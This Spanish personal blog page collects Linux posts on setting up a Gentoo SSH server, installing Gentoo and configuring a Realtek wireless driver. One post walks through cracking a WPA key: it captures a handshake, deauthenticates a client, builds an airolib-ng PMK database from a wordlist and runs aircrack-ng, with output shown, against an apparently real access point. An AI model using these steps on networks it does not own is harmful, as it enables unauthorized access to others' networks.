Páginas

lunes, 28 de febrero de 2011

Server Gentoo

Instalamos un servidor utilizando una distribucion Debian, Gentoo, etc. (Basicamente es lo mismo), y openssh. El nombre de usuario que utilizo es gentoo y le asigno un passwd.

Cuando finalice la instalacion, debería acceder al sistema desde la consola remota de su escritorio. La recomendacion es realizar las labores de administracion desde otro sistema (por ejemplo, un portatil), porque un servidor seguro se ejecuta en modo headless, es decir, ejecutar aplicaciones sin monitor y teclado. Es una buena costumbre administrar su servidor de esta manera. En la maquina remota solo necesita un cliente SSH, incluido en todas las distros Linux.

Iniciar el server SSH en el servidor
# /etc/init.d/sshd start
 * Starting sshd ...                 [ ok ]

Agregarlo al inicio del sistema:
# rc-update add sshd default
 * sshd added to runlevel default

La maquina que hara de servidor se llama tux.
La que hara de cliente se llama hypatia.

Conectar con el servidor a traves de SSH por primera vez:
gentoo@hypatia ~ $ ssh gentoo@tux.zapto.org
The authenticity of host 'tux.zapto.org (192.168.1.130)' can't be established.
RSA key fingerprint is 22:17:b0:c8:c0:0d:d7:ca:ad:1a:0f:8e:9c:5d:11:f5.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'tux.zapto.org,192.168.1.130' (RSA) to the list of known hosts.
Password:
Last login: Mon Feb 28 14:49:41 CET 2011 from hypatia.zapto.org on pts/1
gentoo@tux ~ $

Autenticarse como root:
gentoo@tux ~ $ su
passwd:

Configurar el servidor con una direccion IP estatica:
# vim /etc/conf.d/net
# ip estatica gw 192.168.1.1
config_eth0=( "192.168.1.130/24" )
routes_eth0=( "default via 192.168.1.1" )

Los DNS del proveedor ISP:
# vim /etc/resolv.conf
# /etc/resolv.conf.head can replace this line
nameserver 87.216.1.65
nameserver 87.216.1.66

Para impedir la modificacion del archivo /etc/resolv.conf
# chattr +i /etc/resolv.conf
# lsattr /etc/resolv.conf
----i---------- /etc/resolv.conf

Reiniciar la interfaz de red:
 # /etc/init.d/net.eth0 restart
 * Stopping eth0
 *   Bringing down eth0
 *     Stopping netplug on eth0 ...   [ ok ]
 *     Shutting down eth0 ...         [ ok ]
 * Starting eth0
 *   Starting netplug on eth0 ...     [ ok ]
 *     Backgrounding ...

Editar /etc/hosts para agregar la direccion IP:
# IPv4 and IPv6 localhost aliases
127.0.0.1       localhost
::1             localhost
127.0.0.1       google-analytics.com
127.0.0.1       ssl.google-analytics.com
# 192.168.1.128   server1.zapto.org server1
192.168.1.129   hypatia.zapto.org hypatia
192.168.1.130   tux.zapto.org tux

El nombre de host se configura con estos comandos:
# echo tux > /etc/hostname
# /bin/hostname -F /etc/hostname

Configurar el nombre de dominio:
# vim /etc/conf.d/net
# ip estatica gw 192.168.1.1
config_eth0=( "192.168.1.130/24" )
routes_eth0=( "default via 192.168.1.1" )
# nombre de dominio
dns_domain_lo="zapto.org"

Ahora comprobar que la configuracion es correcta:
# hostname
tux
# hostname -f
tux.zapto.org

Para restringuir el acceso SSH a hosts LAN, añadimos esta regla al firewall del servidor:
# firewall /usr/local/bin/fw_host
ipt="/sbin/iptables"
LAN_IFACE="eth0"
#
...
$ipt -A INPUT -i $LAN_IFACE -s 192.168.1.0/24 -p tcp --dport 22 --sport 1024:65535 -m state --state NEW -j ACCEPT
...
...

El archivo /etc/hosts de la maquina cliente (hypatia) estan identificados, tambien, los hosts de la red:
127.0.0.1    localhost
::1        localhost
127.0.0.1    google-analytics.com
127.0.0.1    ssl.google-analytics.com
# 192.168.1.128    server1.zapto.org server1
192.168.1.129    hypatia.zapto.org hypatia
192.168.1.130    tux.zapto.org tux   
#

Configurar ip estatica en la maquina cliente (hypatia) y el nombre de dominio:
hypatia gentoo # vim /etc/conf.d/net
# ip estatica gw 192.168.1.1
config_eth0=( "192.168.1.129/24" )
routes_eth0=( "default via 192.168.1.1" )
# nombre de dominio
dns_domain_lo="zapto.org"

Linux es genial!.

jueves, 3 de febrero de 2011

Gentoo Pentium 4 3.2GHz

Instalar Gentoo en una maquina Pentium 4 (EMT64)

Instalar Gentoo en un ordenador portatil o sobremesa es una tarea al alcance de todos con la documentacion existente en el sitio web de Gentoo Linux. Pero ademas es necesario saber el stage3 y version del kernel que mejor se adapta a nuestra maquina.

# lspci | grep -i vga
01:00.0 VGA compatible controller: ATI Technologies Inc RV516 [Radeon X1300/X1550 Series]

# lsusb | grep -i wireless
Bus 001 Device 002: ID 0bda:8187 Realtek Semiconductor Corp. RTL8187 Wireless Adapter

Es un Pentium 4 con un precesador a 3.2 GHz y 1Gb de memoria DDR a 800 Mhz. Placa base Asus, tarjeta grafica Ati Technologies Inc RV516 [Radeon X1300/X1550 Series], tarjeta inalambrica con chipset Realtek 8187

Esta instalacion fue realizada utilizando Gentoo minimal cd 3.09 siguiendo, como no, el exelente proyecto manual de Gentoo (handbook).

Stage: stage3-amd64-20101226.tar.bz2
kernel: 2.6.32-gentoo-r24

Nota: no utilizo acentos.
Despues de iniciar con el cd Minimal de Gentoo compruebo el modulo de la tarjeta wireless (en mi caso, chipset rtl8187), con el comando:

# lsmod  | grep rtl8187
rtl8187                51330  0
mac80211              121005  3 rtl8187
cfg80211              120958  4 rtl8187, mac80211
led_class               2115  2 rtl8187,sdhci
eeprom_93cx6            1208  1 rtl8187
usbcore               113420  8 rtl8187,sl811_hcd,usbhid,ohci_hcd,uhci_hcd,usb_storage,ehci_hcd

Es una tarjeta inalambrica conectada a un puerto usb que me interesa por su potencia 2W. No me interesa utilizar la wifi conectada a la ranura pci con chipset ath5k, asi que descargo el modulo y lo coloco en blacklist para que no se cargue nuevamente al reiniciar el sistema
# modprobe -r ath5k
# echo "blacklist ath5k" >> /etc/modprobe.d/blacklist

Conocer los modulos del kernel proporcionados por gentoo para la red (wired y wireless respectivamente):
# ls /lib/modules/2.6.34-gentoo-r1/kernel/drivers/net/
3c59x.ko     defxx.ko      ixgbe        s2io.ko      sungem_phy.ko
8139cp.ko    dl2k.ko       mdio.ko      sb1000.ko    sunhme.ko
8139too.ko   dnet.ko       mlx4         sc92031.ko   tehuti.ko
.....
.....

# ls /lib/modules/2.6.34-gentoo-r1/kernel/drivers/net/wireless/
hostap/  rt2x00/  rtl818x/

Averiguar el nombre de la interfaz de red:
# ifconfig -a

eth0      Link encap:Ethernet  HWaddr 00:21:9b:e2:cd:44 
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)
          Interrupt:16

lo        Link encap:Local Loopback 
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:168 errors:0 dropped:0 overruns:0 frame:0
          TX packets:168 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:5732 (5.5 KiB)  TX bytes:5732 (5.5 KiB)

wlan0     Link encap:Ethernet  HWaddr 00:1f:3c:bf:a0:3c 
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)
Configurar conexión alámbrica eth0:
# ifconfig eth0 192.168.1.242 netmask 255.255.255.0
# route add default gw 192.168.1.1
# ping www.gentoo.org
PING www-bytemark.gentoo.org (89.16.167.134) 56(84) bytes of data.
64 bytes from www.gentoo.org (89.16.167.134): icmp_req=1 ttl=252 time=80.6 ms
64 bytes from www.gentoo.org (89.16.167.134): icmp_req=2 ttl=252 time=78.9 ms
64 bytes from www.gentoo.org (89.16.167.134): icmp_req=3 ttl=252 time=79.7 ms
^C
--- www-bytemark.gentoo.org ping statistics ---
4 packets transmitted, 3 received, 25% packet loss, time 3004ms
rtt min/avg/max/mdev = 78.902/79.779/80.655/0.786 ms
Para conectar a Internet utilizando una tarjeta inalámbrica Gentoo dispone de la herramienta incluida en el cd, perteneciente al paquete livecdtools, llamada net-setup
# net-setup wlan0
A traves de una sencilla interfaz grafica nos preguntara entre otras cosas el nombre del essid, contraseña de red y por ultimo si utiliza dhcp para obtener una ip automaticamente.

Comprobar la conexion haciendo ping:
# ping -c 3 www.gentoo.org

Todo esta documentado en:
http://www.gentoo.org/doc/es/handbook/
Gentoo linux es con toda probalidad la distribucion mejor documentada.

Particionar el disco con una herramienta como gparted (grafica) incluida en el systemrescuecd o con fdisk. En mi caso el disco duro queda particionado de la manera siguiente:

/dev/sda2 ext2 /boot (de 100 MB) particion de arranque
/dev/sda3 ext3 /     (de 20 GB)
/dev/ada5 swap       (de 1 GB)
/dev/sda6 ext3 /home (de 10 GB)
/dev/sda7 reiserfs /usr/portage (de 11 GB)

Inicializar y activar la particion swap:
# mkswap /dev/sda5
# swapon /dev/sda5

Ha llegado el momento de montar las particiones.
# mount /dev/sda3 /mnt/gentoo
# mkdir /mnt/gentoo/boot
# mount /dev/sda2 /mnt/gentoo/boot

De momento no utilizo las particiones /dev/sda6 (home) ni la particion /dev/sda7 (portage), mas adelante las separaremos del resto del sistema.

Ajustar fecha/hora correcta
# date
Si fuera necesario actualicela con el comando date:
# date mesdiahoraminutosaño por ejemplo, 4 de febrero del 2011 a las 14:31
# date 020414312011

Ir al punto de montaje de gentoo y descargar el stage3 stage3-amd64-20101226.tar.bz2 desde uno de los servidores de replica de gentoo linux, directorio releases/amd64/autobuilds. Para descargar el archivo presionar D. Para salir del navegador links presione Q:
# cd /mnt/gentoo
# links http://www.gentoo.org/main/en/mirrors.xml

Descomprimir el stage
# tar xjvpf stage3-amd64-20101226.tar.bz2

Descargar e instalar una imagen de portage
# links http://www.gentoo.org/main/en/mirros.xml

Descomprimir portage
# tar xvjf /mnt/gentoo/portage-latest.tar.bz2 -C /mnt/gentoo/usr

Configurar las opciones de compilacion editando el archivo /etc/make.conf para Pentium 4 con un precesador a 3.2 GHz y 1Gb de memoria DDR a 800 Mhz x86_64:

CFLAGS="-march=nocona -02 -pipe -fomit-frame-pointer"
CXXFLAGS="${CFLAGS}

Seleccionar los servidores replica con la herramienta mirrorselect proporcionada por gentoo:
# mirrorselect -i -o >> /mnt/gentoo/etc/make.conf

Configurar variable SYNC para actualizar portage.
# mirrorselect -i -o -r >> /mnt/gentoo/etc/make.conf

Instalar temporalmente vim dentro del stage3:
VIM=$(which vim)
VIMDIR=$(dirname ${VIM})
cp --dereference ${VIM} /mnt/gentoo${VIM}
ln --symbolic ${VIM} /mnt/gentoo$(dirname ${VIM})/vi

Copiar la informacion de los DNS en /etc/resolv.conf
# cp -L /etc/resolv.conf /mnt/gentoo/etc/

Los sistemas de archivos /proc y /dev seran montados con los comandos:
# mount -t proc none /proc /mnt/gentoo/proc
# mount -o bind /dev /mnt/gentoo/dev

Entrar en el nuevo entorno de instalacion chrooting:
# chroot /mnt/gentoo /bin/bash
# env-update
# source /etc/profile
# export PS1="(chroot) $PS1"

Actualizar portage
# emerge --sync

Para forzar la descarga e instalacion del kerel 2.6.32-gentoo-r24 hay que hacer algunos cambios en el fichero /etc/portage/package.mask, concretamente:

echo ">sys-kernel/gentoo-sources-2.6.36-r5" >> /etc/portage/package.mask
echo "=sys-kernel/gentoo-sources-2.6.36-r5" >> /etc/portage/package.mask
echo "=sys-kernel/gentoo-sources-2.6.35-r15" >> /etc/portage/package.mask

Comprobar que se descargara e instalara el kernel elegido:
# emerge -s gentoo-sources

# uname -a
Linux tux 2.6.32-gentoo-r24 #1 SMP Tue Feb 1 10:22:14 CET 2011 x86_64 Intel(R) Pentium(R) 4 CPU 3.20GHz GenuineIntel GNU/Linux

Antes que me olvide el tema de las fuentes en la consola, para visualizar correcatamente la ñ y los acentos en la terminal:
Cambiando la fuente de xterm

(en su directorio home)
# echo 'XTerm*font: fixed' >> .Xresources 


Configuración en Español o Inglés y UTF-8


Fuente: http://wiki.luispa.com/index.php/HowTo:gentoo:utf8

- Configuración del Kernel

Configuración del kernel de Linux: File Systems

File Systems
 Native language support
   (utf8) Default NLS Option       
   :
   -*-   NLS UTF-8 

    * Fichero locale.gen y generación de los locales

Fichero: /etc/locale.gen

 en_US ISO-8859-1
 en_US.UTF-8 UTF-8
 es_ES ISO-8859-1
 es_ES@euro ISO-8859-15
 es_ES.UTF-8 UTF-8
 # Soporte de Inglés y Español
 en_US.UTF-8@euro UTF-8
 es_ES.UTF-8@euro UTF-8

Genero los locales:

# locale-gen
* Generating 7 locales (this might take a while) with 1 jobs
*  (1/7) Generating en_US.ISO-8859-1 ...                                 [ ok ]
*  (2/7) Generating en_US.UTF-8 ...                                      [ ok ]
*  (3/7) Generating es_ES.ISO-8859-1 ...                                 [ ok ]
*  (4/7) Generating es_ES.ISO-8859-15@euro ...                           [ ok ]
*  (5/7) Generating es_ES.UTF-8 ...                                      [ ok ]
*  (6/7) Generating en_US.UTF-8.UTF-8@euro ...                           [ ok ]
*  (7/7) Generating es_ES.UTF-8.UTF-8@euro ...                           [ ok ]
* Generation complete

    * Zona horaria, en mi caso en la península

cp /usr/share/zoneinfo/Europe/Madrid /etc/localtime

    * Fichero rc.conf

Fichero: /etc/rc.conf

 UNICODE="yes"
 CONSOLEFONT="lat9v-16"

    * Fichero 02locale

Fichero: /etc/env.d/02locale para que el lenguaje de las aplicaciones sea ESPAÑOL

 LC_ALL="es_ES.UTF-8"
 LC_COLLATE="es_ES.UTF-8"
 LC_CTYPE="es_ES.UTF-8"
 LC_MESSAGES="es_ES.UTF-8"
 LC_MONETARY="es_ES.UTF-8"
 LC_NUMERIC="es_ES.UTF-8"
 LC_PAPER="es_ES.UTF-8"
 LANG="es_ES.UTF-8"

    * Fichero consolefont

Fichero: /etc/conf.d/consolefont

 CONSOLEFONT="lat9w-16"


    * Fichero keymaps

Fichero: /etc/conf.d/keymaps

 KEYMAP="-u es"
 SET_WINDOWKEYS="yes"
 EXTENDED_KEYMAPS="backspace euro2"
 DUMPKEYS_CHARSET=""

    * La zona horaria y el reloj

Fichero: /etc/conf.d/clock

 CLOCK="local"
 TIMEZONE="Europe/Madrid"
 CLOCK_OPTS=""
 CLOCK_SYSTOHC="yes"

    * El servidor rsync

Fichero: /etc/rsyncd.conf

# Soporte utf-8, en la parte global del fichero
:
charset = utf-8


continuara...
Linux es genial!.

lunes, 17 de enero de 2011

Wpa y airolib-ng

Claves Wpa y airolib-ng
Avanzado

Capturar el Handshake AP y canal especifico:
hypatia gentoo # airodump-ng --bssid macap -c 1 -w output mon0

Desautenticar
hypatia gentoo # aireplay-ng --deauth 10 -a macap -c maclient mon0

Aparece el nombre del essid oculto
Tendo el Handshake

wpa Handshake: xx:xx:xx:xx:xx:xx

hypatia cowpatty-4.3 # airolib-ng /media/wpa_tables/wpa_psk-h1kari_renderman/crackwpa --import passwd /media/wpa_tables/wpa_psk-h1kari_renderman/word.lst /media/wpa_tables/wpa_psk-h1kari_renderman/database
Database does not already exist, creating it...
Database sucessfully created
Reading file...
Writing...lines read, 190867551 invalid lines ignored.
Done.

Un archivo de texto llamado essid con el nombre del ssid:
hypatia cowpatty-4.3 # airolib-ng /media/wpa_tables/wpa_psk-h1kari_renderman/crackwpa --import essid ./essid
Reading file...
Writing...
Done.

hypatia cowpatty-4.3 # airolib-ng /media/wpa_tables/wpa_psk-h1kari_renderman/crackwpa --stats
There are 1 ESSIDs and 4047221 passwords in the database. 0 out of 4047221 possible combinations have been computed (0%).

ESSID    Priority    Done
JAZZTEL_568B    64    0.0

hypatia cowpatty-4.3 # airolib-ng /media/wpa_tables/wpa_psk-h1kari_renderman/crackwpa --clean all
Deleting invalid ESSIDs and passwords...
Deleting unreferenced PMKs...
Analysing index structure...
Vacuum-cleaning the database. This could take a while...
Checking database integrity...
integrity_check
ok

Done.

hypatia cowpatty-4.3 # airolib-ng /media/wpa_tables/wpa_psk-h1kari_renderman/crackwpa --batch
Computed 25000 PMK in 126 seconds (198 PMK/s, 225000 in buffer).
Computed 50000 PMK in 248 seconds (201 PMK/s, 200000 in buffer).
Computed 75000 PMK in 370 seconds (202 PMK/s, 175000 in buffer).
Computed 100000 PMK in 492 seconds (203 PMK/s, 150000 in buffer)
Computed 4047221 PMK in 20216 seconds (200 PMK/s, 0 in buffer).
All ESSID processed.

hypatia cowpatty-4.3 # airolib-ng /media/wpa_tables/wpa_psk-h1kari_renderman/crackwpa --verify all
Checking all PMKs. This could take a while...
ESSID    PASSWORD    PMK_DB    CORRECT

hypatia cowpatty-4.3 # aircrack-ng -r /media/wpa_tables/wpa_psk-h1kari_renderman/crackwpa output-01.cap

current passhare: .....

key fount [..........]

Linux es genial!.

jueves, 9 de diciembre de 2010

Chipset rtl8187 Gentoo

Configurar modulo rtl8187 en el kernel 
kernel > 2.6.23

Antes de comenzar, los ajustes deben aplicarse a la configuración del kernel. Para configurar el módulo en el kernel:

    * No seleccione Genérico IEEE 802.11 pila de red (seleccionar la versión mac80211 en su lugar)
    * Habilitar la compatibilidad con memoria EEPROM 93CX6
    * Realtek 8187 USB inalámbrico de apoyo en los controladores de LAN


Recuerde su Kernel debe ser > 2.6.23

General setup  --->
  [*] Prompt for development and/or incomplete code/drivers

Networking --->
  [*] Networking support
  Wireless --->
    <*> Generic IEEE 802.11 Networking Stack (mac80211)

Device Drivers --->
  [*] Misc Devices --->
     EEPROM 93CX6 support
  Network device support --->
    Wireless LAN --->
      [*] Wireless LAN (IEEE 802.11)
       Realtek 8187 and 8187B USB support

Cryptographic options --->
  [*]Cryptographic API
    <*>ARC4 cipher algorithm

Library routines
  ---CRC32 functions

Ahora guarde la configuración del núcleo y empezar a recompilar. No se olvide de modificar el archivo /boot/grub/grub.conf si es necesario.

Arranque con el nuevo kernel.
Pruebe cargar el módulo:
modprobe rtl8187

Con el fin de comprobar si ha trabajado, ejecute:
# dmesg | grep rtl8187

Debería ver una salida como esta:

usbcore: conductor registrado nueva interfaz rtl8187

Configuración del acceso inalámbrico
Si todo es correcto, usted debe tener una nueva interface: wlan0. Si tiene mas de un interface inalambrica la nueva tarjeta la vera como wlan1. Si no ve wlan1 simplemente ejecute:

# ifconfig wlan1 up

Para una lista de todas las redes wifi disponibles sólo ejecuta:

# iwlist wlan1 scan

Arrancar el modulo con el sistema
En este punto, necesita para añadir estos módulos a /etc/modules.autoload.d/kernel-2.6:

rtl8187

Ahora reinicie y entre los mensajes durante el arranque vera algo sobre la conexión con net.wlan1.

Conectarse a Internet desde la linea de comandos:
Si utiliza WPA (Wifi Protected Access) PSK (Pre-Share Key) que utiliza el Protocolo de Integridad de Clave Temporal (TKIP - Temporal Key Integrity Protocol),  cambia claves dinámicamente a medida que el sistema es utilizado:
# ifconfig wlan1 up
# chmod 755 /etc/wpa_supplicant.conf

Editar el archivo de configuracion wpa_supplicant
# vim /etc/wpa_supplicant/wpa_supplicant.conf

ctrl_interface=/var/run/wpa_suplicant
network={
ssid="WIREL02"
key_mgmt=WPA-PSK
proto=WPA
pairwise=CCMP TKIP
group=CCMP TKIP
psk="s3cr3t"
priority=3
}

# ifconfig wlan1 up
# wpa_supplicant -w -Dwext -iwlan1 -c/etc/wpa_supplicant/wpa_supplicant.conf
# dhcpcd wlan1

Conectase a internet utilizando WEP (Wired Equivalent Privacy) basado en el algoritmo de cifrado RC4:
Utilizando un script.

#!/bin/bash
# iwconfig wlan1 essid "WLAN_XXXX"
# iwconfig wlan1 key 5a303030324346423731334542
# dhcpcd wlan1
echo "... Conectado a la red WLAN_EB"
sleep 2 &
echo "... Domain name severs OpenDns en uso."

Guardar como wifi_wlan_xxxx y darle permisos de ejecucion:
# ./wifi_wlan_xxxx

Linux es genial!

domingo, 24 de octubre de 2010

CCNA Carlos Camilo

Certificado CCNA Exploration



CCNA 2 Routers and Routing basics


CCNA 3 Switching



CCNA 4 Wan technologies. 



Linux es genial!.